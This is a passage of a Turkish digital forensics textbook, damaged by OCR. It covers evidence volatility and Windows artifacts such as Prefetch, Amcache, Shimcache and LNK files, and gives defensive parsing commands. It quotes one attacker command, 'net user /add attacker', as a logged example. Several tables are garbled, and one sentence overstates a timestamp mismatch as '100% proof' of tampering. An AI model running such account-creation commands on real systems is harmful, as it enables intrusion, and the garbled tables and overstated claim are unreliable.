e Log Sunuculari ve Bulut: Firewall loglar1, SIEM kayitlar1, Google Drive ge¢misi vb.
Fiziksel cihazdan bagimsizdirlar ancak belirli bir siire sonra silinebilirler (Log reten-
tion policy).

Kanit Toplamada Kritik Bir Hata: Fisi Cekmek mi, Cekmemek mi?
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Eski usul adli tipta "bilgisayarin figini ¢ek" kurali yaygindi. Ancak giiniimiizde bu ¢ok biiyiik
bir hatadir:

1. Fisi Cekersen: RAM'deki tiim kanitlar1 (6rnegin BitLocker sifreleme anahtarini veya
aktif saldirgan baglantisini) kaybedersin.

2. Kapatma Komutu Verirsen: Isletim sistemi kapanirken loglar1 temizleyebilir veya
saldirganin kurdugu bir "shutdown script" ¢alisarak kanitlar silebilir.

Dogru Yaklasim: Canli analiz (Live Analysis) araglariyla 6nce RAM imajin1 almali, ardin-
dan diske miidahale etmelisiniz.

Kaynak Analiz Edilecek Veri Kullanilacak Arac¢
RAM Sifreler, Malware enjeksiyonu, Volatility, Dumplt, Magnet
Ag soketleri RAM Capture
Disk $MFT, Prefetch, Event Logs, Si- FTK Imager, Autopsy, Eric Zim-
(NTFS) linmis Dosyalar merman Tools
(Netl:;gork) Veri sizintis1 rotasi, C2 iletisimi Wireshark, Network Miner, Zeek
Mobil WhatsApp mesajlari, Konum geg- Cellebrite, Magnet AXIOM,
misi ADB

Ozetle: "Sicak" ve "Soguk" Veri

Sorusturmaci olarak veriyi "Sicak" (Canli sistem) ve "Soguk" (Kapatilmis sistem) olarak
ikiye ayirmalisin. Sicak verinin dmrii ¢ok kisadir ama saldirinin "sicagi sicagma" kanitini su-
nar.

3.1.1 U¢ Nokta (Endpoint) Kaynaklan

Sabit diskler (HDD/SSD)
Tasinabilir medya (USB, harici disk)
Isletim sistemi artefaktlar

Registry kayitlar

Kullanici profil dizinleri

Bu kaynaklar genellikle kalic1 (non-volatile) verileri igerir.
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3.1.2 Bellek (RAM) Kaynaklari

Calisan islemler

Sifreleme anahtarlari

Ag baglantilar

Dosyasiz (fileless) kotii amagl yazilim kalintilar:
Enjeksiyon izleri

Bellek, en yiiksek volatiliteye sahip kaynaktir ve sistem kapatildiginda veri kaybolur.

3.1.3 Ag ve Log Kaynaklar

Giivenlik duvari kayitlart
DNS sorgu loglar1

VPN kayitlar

Proxy loglari

SIEM verileri

Bu kayitlar olayin kapsamini anlamada kritik rol oynar.

3.1.4 Bulut ve Sanallastirma Ortamlar

SaaS uygulama loglar1

IAM (kimlik ve erisim yonetimi) kayitlar
Snapshot verileri

Container ve orchestration loglar1

Modern sorusturmalarda bu kaynaklarin goz ard1 edilmesi ciddi eksiklik yaratir.

3.2 Volatilite Kavram

Volatilite, bir verinin sistem kapandiginda veya siire¢ sonlandiginda kaliciligini yitirme dere-

cesini ifade eder.

Dijital adli incelemede genel prensip sudur:
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En volatil veriden baglanir.

Cilinkii sistem kapatildiginda veya saldirgan miidahale ettiginde ilk kaybolacak veri RAM ve
aktif baglant1 bilgileridir.

\ CPU Cache /
N RAM /
\ Aktif Ag Baglantilarn /

\ Calisan SGrecler /

\ & Gecici Dosyalar /

\ Disk /

Yedekler
/ Arsiviler

Sistem kapatildiginda tist katmandaki veriler geri dondiiriilemez sekilde kaybolabilir.

3.3 Volatilite Siralamasi

Dijital ortamlarda veri kaynaklarinin genel volatilite siralamasi su sekildedir:

e CPU onbellegi

e RAM

o Aktif ag baglantilar

e (Calisan islemler

o Disk iizerindeki gegici dosyalar
o Kalic1 disk verileri

e Yedekler ve arsivler

Bu siralama, olay miidahalesi sirasinda hangi verinin 6nce toplanmasi gerektigini belirler.

Ornegin bir fidye yazilimi saldirisinda sistem kapatilmadan &nce bellek dokiimii alinmamasi,
saldirganin kullandig1 araglara dair kritik bilgilerin kaybina yol agabilir.
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3.4 RAM ve Disk Arasindaki Farklar

RAM ve disk artefaktlar: farkl: tiirde kanit iiretir.
RAM analizi su tiir sorulara cevap verebilir:

e Hangi siirecler ¢alistyordu?

o Hangi baglantilar acikt1?

o Bellege yiiklenmis siipheli modiiller var mi1?
Disk analizi ise:

e Hangi dosyalar olusturuldu?

o Hangi programlar caligtirildi?

e Kalicilik mekanizmasi var mi?

RAM c¢ogu zaman saldirinin canli izini tasirken, disk olayin kalici izini saklar.

|Ozellik |IRAM | Disk |
Volatilite | Cok yiiksek | Diisiik |
‘Fileless malware H v HX ‘
‘Sifre anahtari H v HX ‘
‘Kahclllk izleri HX H v ‘
‘Zaman damgasi HSmlrh H 4 ‘

3.5 Delil Toplama Onceligi

Bir olay miidahalesinde hatali 6nceliklendirme, kritik kanit kaybina neden olabilir.

Genel yaklagim:
1. Ag baglanti durumunun kaydi
2. RAM dokiimii alinmasi
3. Sistem bilgisi toplanmasi
4. Disk imajinin alinmast
5. Harici medya incelemesi

Ancak her vaka kendi baglaminda degerlendirilmelidir. Ornegin, ¢alisan bir sunucu kapatil-
madan RAM alinmas1 operasyonel risk yaratabilir.

Bir olay mahalline girdiginde verileri su sirayla toplamalisin:

1. En Ucucu (Saniyeler icinde degisen): Islemci dnbellegi (Cache), Register'lar, ARP
tablosu, yonlendirme tablosu ve aktif ag baglantilari.
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2. Ucucu (Bilgisayar kapaninca silinen): RAM (Bellek). Ransomware vakalarinda sif-
releme anahtari (encryption key) genellikle RAM'de acik halde bulunur. Cihazi kapa-
tirsan dosyalar1 kurtarma sansini sonsuza dek kaybedebilirsin.

3. Yar1 Ucucu (Kisa siire kalan): Gegici dosyalar (Temp files), Disk tizerindeki Swap
(Sanal Bellek) dosyalart.

4. Kaha (Kapatilinca silinmeyen): Hard diskler, SSD'ler, harici depolama birimleri.

5. Arsivlenmis (Uzakta olan): Yedekleme tiniteleri, bulut kayitlari, ISP loglari.
Ozellik Canh Adli Tip (Live Forensics) Olii Adli Tip (Post-Mortem)
SIS Bilgisayar ac¢ik ve galisiyor Bilgisayar kapatilmi

Durumu gisayar ag ¢alistyor. gisay. P §-

Toplanan RAM, aktif ag trafigi, sifreleme Tiim disk imaji, silinmis dosyalar,
Veri anahtarlari. kayit defteri.
. Inceleme araglari sistemde iz bira- RAM verisi ve ugucu kanitlar ta-
Risk o
kabilir. mamen kaybolur.
Bir USB iizerinden tasinabilir Yazma korumali (Write-blocker)
Uygulama .
araglarla (Triage) yapilir. donanimlarla yapilir.

Boliim 3 Kapanis

Delil kaynagini dogru belirlemek, analizden daha kritik olabilir. Yanlis 6nceliklendirme, en
gelismis analiz araglarinin dahi ¢ozemeyecegi veri kaybina yol agabilir. Bu nedenle bir analist
icin teknik bilgi kadar stratejik diistinme yetenegi de gereklidir.
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BOLUM 4

Windows Artefact Ekosistemi

4.1 Artefact Kavram

Bir dijital artefact, isletim sisteminin veya uygulamalarin normal ¢alismasi sirasinda biraktigi
yan iirlin veridir.

Bu veriler kullanici tarafindan bilingli olarak olusturulmaz; sistem davranisinin dogal sonucu-
dur.

Ancak kritik nokta sudur:

Artefact tek basina olay degildir.
Artefact bir izdir. Olay, izlerin baglam i¢inde birlestirilmesiyle ortaya ¢ikar.

4.2 Program Cahstirma Ekosistemi

Bir Windows sisteminde bir program calistirildiginda tek bir kayit olusmaz.
Ayni olay farkl sistem bilesenlerinde iz birakir.

Ornegin:

Bir dosya calistirildiginda:

o Prefetch kaydi olusabilir

e Amcache girdisi olusabilir

o Shimcache kaydi olusabilir

e Event ID 4688 iiretilebilir

o $MFT zaman damgasi degisebilir
e LNK dosyasi olusabilir

o UserAssist giincellenebilir

Bu dagitik yapi, analiste dogrulama imkan1 saglar.

"Hangi Programlar Calistirildi?" (Execution Artefacts)
56




Saldirganin sistemde hangi araglar1 (mimikatz, nmap vb.) kullandigin1 anlamak i¢in bakilir.

o Prefetch (.pf): Windows, uygulamalarin daha hizli agilmasi i¢in bu dosyalar1 olustu-
rur. Dosyanin en son ne zaman ¢alistigini ve kag kez ¢alistirildigini gosterir.

e Shimcache (AppCompatCache): Isletim sisteminin uyumluluk i¢in tuttugu bir liste-
dir. Bir dosya calistirilmasa bile sadece diskte var olmasi buraya girmesine neden ola-
bilir.

e Amcache.hve: Calistirilan uygulamalarin dosya yolu, hash degeri ve yayinci bilgile-
rini igerir. Malware tespiti i¢in altin madenidir.

"Hangi Dosya ve Klasorlere Erisildi?" (File Usage)
Kullanicinin hangi dokiimanlar1 a¢tigin1 veya hangi klasorlerde gezindigini kanitlar.

o LNK Files (Kisayollar): Bir dosya acildiginda Windows otomatik olarak bir . 1nk
dosyasi olusturur. Orijinal dosya silinse bile kisayol dosyasi; dosya boyutu, olustu-
rulma tarihi ve seri numarasin saklar.

e Jump Lists: Gorev ¢gubugundaki simgelere sag tiklandiginda ¢ikan "Son kullanilan-
lar" listesidir.

e ShellBags: Kullanicinin hangi klasorii hangi goriiniimde (liste, biiyilik simge vb.) agti-
gin1 tutar. Silinmis klasorlerin bir zamanlar var oldugunu kanitlamak i¢in kullanilir.

"Sisteme Ne Baglandi1?" (External Devices)
Veri sizintisinin USB {izerinden yapilip yapilmadigini anlamak i¢in bakilir.

o USBSTOR (Registry): Bilgisayara takilan her USB cihazinin marka, model ve seri
numarasini kaydeder.

e Setupapi.dev.log: Cihazin ilk kez ne zaman takildigini saniyelik hassasiyetle tutan
metin glinliigiidiir.

Kullanic1 Davraniglart ve Ag (User & Network)
o UserAssist: Baslat meniisiinden hangi programin kag kez agildigini gosteren sifreli
(ROT13) bir kay1t defteri anahtaridir.
o SRUM (System Resource Usage Monitor): Hangi uygulamanin ne kadar veri trans-

feri yaptigini ve ne kadar CPU tiikettigini tutan bir veri tabanidir. (Veri sizintist anali-
zinde kritiktir).

Windows Artefact Matrisi
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Soru Bakilacak Yer Kalicilik Seviyesi
En son hangi EXE Prefetch / Superfetch Yiiksek
agildi?
USB ne zaman (- Registry (USBSTOR) Cok Yiiksek
L4 igrirrlli(}?e A ShellBags Cok Yiiksek
Ne kagilrrd\:;ri s1z- SRUM (Sysl‘i/elf)nnﬁsrs)ource Usage Orta (30-60 Giin)
Silinen dosya neydi? $MFT (Master File Table) BT %{)Zlirrl)n © yazl-

Izlerin "Eslesme" Tablosu (Cross-Referencing)

Adli bilisim uzmani, tek bir kanita giivenmez; kanitlar1 korelasyon ile dogrular:

Kanit Kaynag1 | Ne Zaman? Kac¢ Kez? | Dosya Yolu? Hash Bilgisi?

Prefetch X
ShimCache (Son) X X
Amcache (ilk) X
UserAssist X

Analiz Yorumu: Bir saldirgan Prefetch kayitlarini temizlese bile, ShimCache veya Amcache
icinde biraktig1 izler onun yakalanmasini saglar. Bu yiizden "tek bir kayit olugsmaz" demen
teknik olarak tamamen dogrudur.
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Tek artefact yorum tiretmez. Korelasyon iiretir.




Korelasyonun Giicii: Bir Ornek Senaryo

Bir analistin 6niine sadece bir LNK dosyasi (kisayol) gelirse, bu sadece "Bu dosya bir ara
mevcuttu" der. Ancak korelasyon su tabloyu ¢izer:

1. LNK Dosyasi: Dosyanin C:\Temp\zararli.exe konumunda oldugunu soyler.

2. Prefetch (.pf): Bu dosyanin toplamda 8 kez c¢alistigini ve en son saat 14:02'de aktif
oldugunu kanitlar.

3. Amcache.hve: Dosyanin SHA-1 hash bilgisini verir. Bu hash'i VirusTotal'de arattigi-
nizda "Trojan" sonucu ¢ikar.

4. ShimCache: Dosyanin sistemde ilk goriildiigii tarihi dogrular.

Event ID 4624: O saatte sisteme Admin kullanicisinin degil, Stajyer kullanicisinin gi-

ris yaptigin gosterir.

9]

Korelasyonun Giicii: "Uclii Dogrulama" Ornegi

Saldirganin bir dosyay1 caldigini diisiinelim:
1. Registry (USBSTOR): Saat 14:00'te bir Kingston USB takildi.
2. LNK Files: Saat 14:05'te "Maas_Listesi.xIsx" dosyast1 agild.
3. ShellBags: Kullanicinin USB i¢indeki "YEDEK" klasoriine girdigini kanitlar.

Bu ii¢ veri birlestiginde; kullanicinin sadece USB takmadigini, hedefli bir sekilde dosya kop-
yaladigini kesinlestirmis olursunuz.

Canl1 Sistem Analizi (Triage)

Sistem heniiz agikken hizlica korelasyon kurmak igin:

# Hangi uygulama hangi IP'ye bagli?

netstat -naob

# Saldirgan kendini baslangica ekledi mi?

schtasks /query /fo LIST /v

Prefetch analizi ile uygulama ge¢misini ¢ikar:

PECmd.exe -d "C:\Windows\Prefetch" --csv "C:\Analiz\UygulamaGecmisi"
USB gec¢misini (Registry) analiz et:

RECmd.exe --f "C:\Windows\System32\config\SYSTEM" --bn BatchExamp-
les\SANS_System.reb --csv "C:\Analiz\USB_Izleri"
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Pratik Bir Senaryo: "O Dosyay1 Kim Sildi?"

Korelasyon komutlarini kullanarak bir dosyanin silinme siirecini soyle kanitlariz:

1. $MFT Sorgusu: Dosyanin silindigi zaman damgasini al.
Event Logs (ID 4663): O dosyaya en son erisen kullanici hesabini bul.

3. S$SRecycle.Bin Analizi: Dosyanin geri doniisiim kutusuna m1 atildigin1 yoksa
Shift+Delete ile mi uguruldugunu dogrula.

Sonug: "Stajyer kullanicisi, saat 14:02'de Temp klasoriinden bir trojan ¢alistirmustir.” (iste bu
bir hikayedir ve mahkemede anlam ifade eder.)

Yontem

Aciklama

Amaci

Zaman Cizelgesi
(Timeline)

Tiim sistem i1zlerini (MACB)
tek bir kronolojik siraya diz-
mek.

Olaylarin akigini ve saldirga-
nin adimlarini gérmek.

Veri Dogrulama
(Cross-Valida-
tion)

Bir izi (6rn: Prefetch), baska
bir izle (6rn: Registry) karsilas-
tirmak.

Sahte veya manipiile edilmis
izleri (Anti-Forensics) tespit
etmek.

Kullanmie Tliski-
lendirme

Dosya hareketlerini aktif kulla-
nic1 oturumlariyla eslestirmek.

"Sugu kim igledi?" sorusuna
cevap bulmak.

Analiz Komutu Ornegi (Korelasyon Hazirligr)

Bir uzman, tiim bu izleri birlestirmek i¢in genellikle Plaso (log2timeline) gibi araglar kullana-

rak "Super Timeline" olusturur:

# Tim sistem imajindan zaman ¢izelgesi verilerini ayiklar

log2timeline.py --source /dev/sdbl --storage-file timeline.plaso

Anlami: Bu komut, diskteki her bir dosya sistemini, kayit defterini ve logu tarar; hepsini tek
bir devasa zaman ¢izelgesinde birlestirerek analistin korelasyon yapmasini saglar.
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4.3 Prefetch

Prefetch, Windows isletim sisteminin performansini artirmak i¢in tasarlanmis, ancak dijital
adli tip (DFIR) uzmanlari i¢in "uygulama ¢alistirma kamit1" sunan en degerli altin madenle-
rinden biridir.

Sistem, bir uygulama calistirildiginda ihtiya¢ duyulan verileri 6nceden bellege yiiklemek i¢in
bu dosyalar1 olusturur. Bizim i¢in 6nemi ise, bu dosyanin i¢inde saklanan metaverilerdir.

Prefetch Dosyasinin Anatomisi

Windows, her uygulama i¢in C: \Windows\Prefetch dizini altinda .pf uzantili bir dosya
olusturur. Bu dosyanin ismi genellikle uyGuLava apI-HAsH.pf formatindadir.

Bir .pf dosyasini analiz ettiginde su bilgilere ulagirsin:

e Uygulama Adi: Hangi . exe c¢alistirildi?

e Calstirma Sayis1 (Run Count): Bu uygulama toplamda kag¢ kez ac¢ild1?

e Zaman Damgalar (Timestamps): Uygulamanin en son ¢alistirildig1 zaman (Win-

dows 8 ve 10'da son 8 calistirma zamani saklanir).

e Dosya Yolu: Uygulamanin hangi klasérden ¢alistirildig:.

o Bagimhliklar: Uygulama ¢alisirken hangi .d11 veya diger dosyalar1 ¢agird1?
Neden Prefetch Analizi Yapariz?

Saldirganlar izlerini silmek i¢in kullandiklar1 araglar1 (6rnegin bir hacking tool) silebilirler.
Ancak Prefetch dosyasini silmeyi unuturlarsa, biz o aracin:

1. Sistemde var oldugunu,
2. Ne zaman c¢alistirildigini,

3. Hangi klasoérden (belki gizli bir temp klasorii) yiiriitiildiigiinii kanitlayabiliriz.

Kritik Not: Windows Server isletim sistemlerinde Prefetch 6zelligi varsayilan olarak kapal-
dir. Bu nedenle sunucu incelemelerinde bu artefact't bulamayabilirsin.

Pratik Komutlar ve Araclar

Prefetch dosyalar1 ham (binary) formatta oldugu icin bir "parser" aracina ihtiya¢ duyarsin. En
popiiler ara¢ Eric Zimmerman'in PECmd aracidir.

# Tum Prefetch klasoriinii tara ve sonuglar1 CSV olarak kaydet

PECmd.exe -d "C:\Windows\Prefetch" --csv "C:\Analiz\Sonuclar"
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Korelasyon: Prefetch + Diger izler
Prefetch tek basina bir kanittir, ancak digerleriyle birlesince hikaye tamamlanir:
e Prefetch: cmd. exe diin 22:00'de calisti.
e Event Logs (ID 4688): cmd.exe calisirken su komut satir1 parametrelerini kullandi:

net user /add attacker.
e  MFT: net.exe dosyasi o saniyede diskte islem yapt.

Prefetch dosyalari, uygulama ¢aligtirma performansini artirmak amaciyla olusturulur.
Adli agidan sagladig bilgiler:

e Uygulama adi

e Calistirilma sayist

e Son calistirma zamani

e Yiiklenen dosyalar

Ancak 6nemli uyari: Prefetch’in silinmis olmasi, programin ¢alistirilmadigini gostermez.

4.4 Amcache ve Shimcache

Prefetch'in sagladigi "calistirma" kanitlariin bir adim 6tesine gectigimizde, Windows'un en
derin ve bazen en karmasik iki artefact'r ile karsilasiriz: Amcache ve Shimcache (AppCom-
patCache).

Bu iki iz, 6zellikle saldirganin dosyayi sildigi veya dosyanin sadece diskte durup hi¢ ¢alistiril-
madig1 senaryolarda hayat kurtaricidir.

Amcache:

e Yiiriitiilebilir dosyalarin izini tutar
e Dosya hash bilgisi igerebilir
e Dosyanin diskte bulunup bulunmadigini anlamada yardimcidir

Amcache, amcache.hve adli 6zel bir kayit defteri (hive) dosyasinda tutulur. Prefetch ve
Shimcache'in en giiclii 6zelliklerini birlestirir.

e Nerede Saklanir? c: \windows\AppCompat \Programs\Amcache.hve.

o Ne Kaydeder? Dosya yolu, olusturulma zamani ve en 6nemlisi dosyanin SHA-1
hash degerini.
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e Neden Onemli? Bir saldirgan malware.exe dosyasini ¢alistirip sonra sildiyse, Am-
cache sayesinde o dosyanin hash degerini bulabilirsin. Bu hash'i alip Tehdit Istihbarati
servislerinde (VirusTotal vb.) aratarak yazilimin ne oldugunu saniyeler i¢inde anlarsin.

Shimcache (AppCompatCache):

e Uyumluluk mekanizmasinin parcasidir
e Dosyanin sistem tarafindan goriilmiis oldugunu gosterir
e Calistirildigina dair kesin kanit degildir

Bu fark 6zellikle rapor yazarken kritiktir.
Shimcache (AppCompatCache)

Windows'un farkli uygulamalarla geriye doniik uyumluluk (compatibility) saglayip saglama-
digin1 anlamak icin kullandig1 bir mekanizmadir.

e Nerede Saklanir? Kayit Defteri'nde (Registry) bulunur: sysTEM\CurrentControl-
Set\Control\Session Manager\AppCompatCache.

e Ne Kaydeder? Dosya yolunu, dosya boyutunu ve son degistirilme (Standard Informa-
tion Modified) zamanini.

o Kiritik Fark: Bir dosyanin Shimcache'e girmesi i¢in ¢calistirilmasi sart degildir. Dos-
yanin Windows Explorer ile gériintiilenmesi veya sistem tarafindan taranmasi bile lis-
teye girmesine neden olabilir.

e Ucuculuk: Veriler sistem acikken RAM'dedir; sadece sistem kapatildiginda veya ye-
niden baslatildiginda Registry iizerine yazilir.

Karsilastirma Tablosu: Hangisine Ne Zaman Bakmali2

Ozellik Shimcache Amcache Prefetch
Hash Degeri
Verir mi? Hayir Evet (SHA-1) Hayir
Calisma il v Yiikleme/Calis- Kesinlikle Calis-
Sart1? tirma mal1
Dosya Yolu Evet Evet Evet
Var m?
Kahcihik RAMéEEE )a finea Disk (.hve dosyasi) Disk (.pf dosyast)
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Uygulama: Eric Zimmerman Araglari ile Analiz

Bu karmasik yapilar1 elle okumak imkansizdir. Yine Zimmerman araglarini kullantyoruz:
Shimcache Analizi:

# AppCompatCacheParser ile SYSTEM hive dosyasini tara

AppCompatCacheParser.exe -f "C:\Windows\System32\config\SYSTEM" --csv
"C:\Analiz\Shim"

Amcache Analizi:
# Amcache.hve dosyasini parse et ve hashleri ¢ikar

AmcacheParser.exe -f "C:\Windows\AppCompat\Programs\Amcache.hve" --csv
"C:\Analiz\Amcache"

Korelasyon Senaryosu
Bir saldirganin mimikatz.exe kullandigini diistinelim:

1. Shimcache: mimikatz.exe dosyasinin C:\Temp altinda var oldugunu gosterir.

2. Amcache: mimikatz.exe'nin SHA-1 hash'ini verir, dosyanin gercekten Mimikatz ol-
dugunu kanutlar.

3. Prefetch: Bu dosyanin kag kez ve en son ne zaman (6rnegin gece 03:00) ¢alistirildi-
gin1 miihiirler.

Bu i¢ii birlestiginde saldirganin "inkar" sans1 kalmaz.

4.5 Event Log Korelasyonu

Windows Security Log (6zellikle Event ID 4688), yeni bir siire¢ olusturuldugunu gosterir.

Ancak log temizlenmis olabilir.

Bu durumda:
e Prefetch
e MFT

e Amcache

ile dogrulama yapilabilir.

65




4.6 SMFT ve Zaman Damgalari

NTEFS dosya sistemi her dosya i¢in zaman damgalar1 tutar:

e Created
e Modified

e Accessed
e Entry Modified

Timestomping saldirilarinda SI ve FN zaman damgalar1 arasinda tutarsizlik goriilebilir.

Yiiksek Giivenilirlik

e Prefetch (calistirma kaniti)

e Event ID 4688

e MFT zaman damgas1 korelasyonu
Orta Giivenilirlik

e Amcache

o LNK dosyalar1
e UserAssist

Destekleyici Artefact

e Shimcache
e Recent files listeleri

|Artefact ||Dosya Vard: ||Cah$t1rlld1 ||Silinse de iz Kahr |
‘Prefetch H v H v H v ‘
‘Amcache H v ”‘7 H v ‘
‘Shimcache H v ”‘7 ” v ‘
LNk X lv lv |
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4.8 Artefact Celiskileri

Gézlemlenen Durum Rakip Iz (Counter- Olasi Anlam
Artifact)
Dosya olusturma tarihi MEFT $FN§ zamani Timestomping (Tarih degis-
cok eski. cok yeni. tirme).
Kayi1t Defteri'nde prog- Dosya diskte buluna- Evidence Scrubbing (Delil ka-
ram izi var. miyor. rartma).
USB takilma izi var Kayit Defteri'nde USB Izlerin manuel silinmesi veya
(SetupAPL.log). seri nosu yok. sistem hatas.
Prefetch'te "Run Count" UserAssist'te kayit Program GUI yerine komut sati-
artmas. yok. rindan (CMD) agilmus.

Uzman Yaklasimi: "Uyumsuzluk, Kanittir"

Bir adli bilisim uzmani i¢in ¢eliski bir engel degil, bir anomalidir. Eger her sey miikemmel
bir uyum i¢indeyse, profesyonel bir saldirganin tiim izleri "kitabina uygun" temizlediginden
stiphelenilir. Ancak bir ¢eligki yakalandiginda, saldirganin hata yaptig1 nokta bulunmus de-

mektir.

SI ve FN arasindaki bu uyumsuzluk, dosyanin manipiile edildiginin %100 kanitidir.

Profesyonel analizde en kritik nokta:
Artefact’larn birbiriyle ¢elismesi.
Ornek:

o Prefetch var
e Ama Event Log yok

Bu su ihtimalleri dogurur:
e Log silinmis olabilir
e Audit policy kapali olabilir

e Sistem restore edilmis olabilir

Iste burada analist varsayim degil, olasilik iiretir.
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4.9 Timestomping ve Zaman Manipiilasyonu

NTFS iki farkli zaman damgasi tutar:
SSTANDARD INFORMATION (SI)
SFILE NAME (FN)

Timestomping durumunda:

SI degistirilmis
FN degistirilmemis olabilir

[Attribute st |[FN |
ICreated “ v H v ‘
[Modified lv v |
lManipiilasyon “ v HX ‘

Zaman damgasi tutarsizliklari manipiilasyon gostergesi olabilir.

4.10 Uygulamal Senaryo: Siipheli Program Cahstirma Analizi

Senaryo

Bir kurumda ¢alisan bir personelin, mesai saatleri disinda hassas bir dosyay harici ortama ak-
tardig1 iddia edilmektedir. Inceleme kapsaminda c¢alisana ait Windows 10 yiiklii diziistii bilgi-
sayara el konulmustur.

Stiphe edilen dosya:

data_export.exe

Ama sistem tizerinde dosya artik bulunmamaktadir.

Analistin gorevi:

Bu programin gercekten calistirilip calistirilmadigini ve ne zaman ¢alistirildigini belirlemek.
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Adim 1 — Prefetch Analizi
Prefetch dizininde asagidaki dosya tespit edilmistir:
DATA EXPORT.EXE-3F2A91B4.pf
Icerik analizi sonucu:
e Son c¢alistirma zamani: 23:17
e Calistirilma sayist: 3
o Referans verilen dosya yollari:

C:\Users\user\Documents\

Bu veri, programin sistem lizerinde ¢alistirildigini giiglii bicimde destekler.

Adim 2 — Amcache Incelemesi
Amcache hive i¢inde:
e Dosya adi: data_export.exe
e SHA-I hash degeri
o llk goriilme zaman
Bu kayit, dosyanin sistem tarafindan tanindigini gosterir.

Ancak 0nemli not:

Amcache tek basina ¢alistirma kanit1 degildir.

Adim 3 — Event Log Analizi

Security log iginde:

Event ID 4688 kayd:
e New Process Name: data_export.exe
o Parent Process: explorer.exe

e Timestamp: 23:17

Bu kayit Prefetch zamani ile uyumludur.

Adim 4 — SMFT Zaman Damgalari
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$MFT analizi:
e Dosya olusturulma zamani
e Modified zamani

o Entry Modified zamani

Prefetch ve Event log ile zaman korelasyonu mevcuttur.

Adim 5 — LNK ve Recent Artefact

Kullanici profilinde:

e Recent klasoriinde LNK dosyasi
e Hedef yol: data_export.exe

Bu artefact kullanici etkilesimini destekler.
LNK (Shortcut) Dosyalar1

Windows Kisayol dosyalari, orijinal dosya silinse bile onun hakkinda hayati bilgiler saklayan
birer veri madenidir.

» Konum: C:\Users\<Kullanici>\AppData\Roaming\Microsoft\Windows\Recent
o I¢erdigi Kritik Veriler:

Orijinal Dosya Yolu: Dosyanin nerede (6rn: E:\Gizli\plan.pdf) oldugunu soy-
ler.

MACB Zaman Damgalari: Hedef dosyanin olusturulma, erisim ve degistirme
tarihlerini (saniyelerle) saklar.

Cihaz Bilgisi: Dosyanin ag¢ildig: siiriicliniin seri numarasi, ismi ve tiirii (Sabit
disk, USB vb.).

Network Share: Eger dosya bir ag paylasimindan agildiysa, sunucu ismini ve
MAC adresini saklayabilir.

Adli Yorum: Eger bir USB bellek takilip i¢indeki bir dosya ag¢ildiysa, USB cikarilsa bile .Ink
dosyasi sistemde kalir ve USB'nin seri numarasini ele verir.

Kullanabilecegin Araclar

e LECmd (Eric Zimmerman): LNK dosyalarini profesyonelce parse eder (ayristirir).
e JLECmd: Jump List dosyalarini analiz etmek i¢in kullanilir.
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23:16 — Dosya
olusturuldu
23:17 — data_export.exe
calistinldi
23:17 — Event ID 4688
Uretildi
$
23:17 — Prefetch
gUncellendi
23:18 — LNK dosyasi
olustu

Zaman uyumu, artefact korelasyonunun en gii¢lii gostergesidir.
Analitik Degerlendirme
Bu senaryoda:

Prefetch mevcut
Event Log mevcut
Amcache mevcut
LNK mevcut

Zaman uyumu mevcut

Bu durum, programin ¢alistirildigina dair yiiksek giivenilirlik iiretir.

Tek bir kayda dayanilmamis, ¢oklu artefact dogrulamasi yapilmustir.
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Uygulama Komutlar1 — Canli Sistem (Live Response)

Not: Canli sistemde yapilan islemler delil durumunu etkileyebilir. Kritik ortamlarda prosediir
uygulanmalidir.

Event ID 4688 (Siire¢ Olusturma)
PS> Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} |
Select-Object TimeCreated, Message -First 10

Ne yapare Son sUrec olusturma olaylarini listeler.
Analitik deger: SUpheli program calistirma zamanini belirlemek icin kullanilir.

Prefetch Kontrolii
PS> Get-ChildItem C:\Windows\Prefetch |
Where-Object {$_.Name -like "*DATA_EXPORT*"}

Ne yapar? Belirli bir programin Prefetch kaydini arar.
Analitik deger: Programin calistinlmis olup olmadigini gosterir.

USB Baglant1 Kaydi
PS> reg query HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR /s

Ne yapar? Sisteme baglanan USB cihazlarni listeler.
Analitik deger: Veri sizintisi sUphesinde harici medya kullanimini dogrular.

Son Agilan Dosyalar (LNK)
PS> Get-ChildItem $env:APPDATA\Microsoft\Windows\Recent

Ne yapar?2 Kullanicinin son actigr dosyalarnn LNK kayitlarini listeler.
Analitik deger: Kullanici etkilesimini gésterir.

Uygulama Komutlar1 — Adli imaj Uzerinde Calisma

Not: Profesyonel adli analiz miimkiin oldugunca dogrulanmis imaj iizerinde yapilmalidir.
MFT Analizi

C:\> MFTECmd.exe -f E:\Image\$MFT --csv output

Ne yapare NTFS Master File Table'i parse eder.
Analitik deger: Dosya zaman cgizelgesi olusturmak icin kullanilir.

Prefetch Parse (PECmd)

C:\> PECmd.exe -d E:\Image\Windows\Prefetch --csv output
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Ne yapar? Prefetch dosyalarini analiz eder.
Analitik deger: Program calistirma sayisi ve zamanini gosterir.

Amcache Parse
C:\> AmcacheParser.exe -f E:\Image\Windows\AppCompat\Programs\Amcache.hve

Ne yapar? Amcache kayitlarini cézomler.
Analitik deger: Dosyanin sistem tarafindan goérolip goértlmedigini gosterir.

Timeline Olusturma (Plaso)

C:\> log2timeline.py timeline.plaso E:\Image\

C:\> psort.py -o 12tcsv timeline.plaso > timeline.csv
Windows Artefact Hizh inceleme Cheat Sheet

Amag:

Stipheli bir programin ¢alistirilip ¢alistirllmadigini hizlica dogrulamak.
ik 5 Kontrol

1. Prefetch var mi1?

2. Event ID 4688 var m1?

3. Amcache kaydi var m1?

4. SMFT zaman uyumu var m1?

5. LNK artefact mevcut mu?

Prefetch Hizli Kontrol

PS> dir C:\Windows\Prefetch | findstr PROGRAMADI
Calistirma kaniti

Run count bilgisi

Son execution zamani

Event Log Siire¢ Kontrolii

PS> Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688}
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Siire¢ ad1 Parent process Timestamp USB Baglanti Kontrolii
PS> reg query HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR /s
Cihaz seri numarasi
Baglanma zamani
Zaman Cizelgesi Mantigi
USB takildi

l

Program cahisti

!
Dosya erisildi
!

Sikistirma yapildi

l

USB cikarildi

Eger zamanlar uyumluysa — giiclii korelasyon.
Uyar Alani

e Prefetch silinmis olabilir

e Log temizlenmis olabilir

e Audit policy kapali olabilir

e Sistem restore edilmis olabilir
o Tek kayda glivenme

Boliim 4 Sonu Sabit Uyar1 Metni

Windows artefact analizi, tek bir kayda dayanarak sonug tiretme disiplini degildir. Komut ¢1k-
tilar1 yorum degil, kanit iiretir. Nihai degerlendirme, ¢oklu artefact korelasyonu ile yapilmali-
dir.
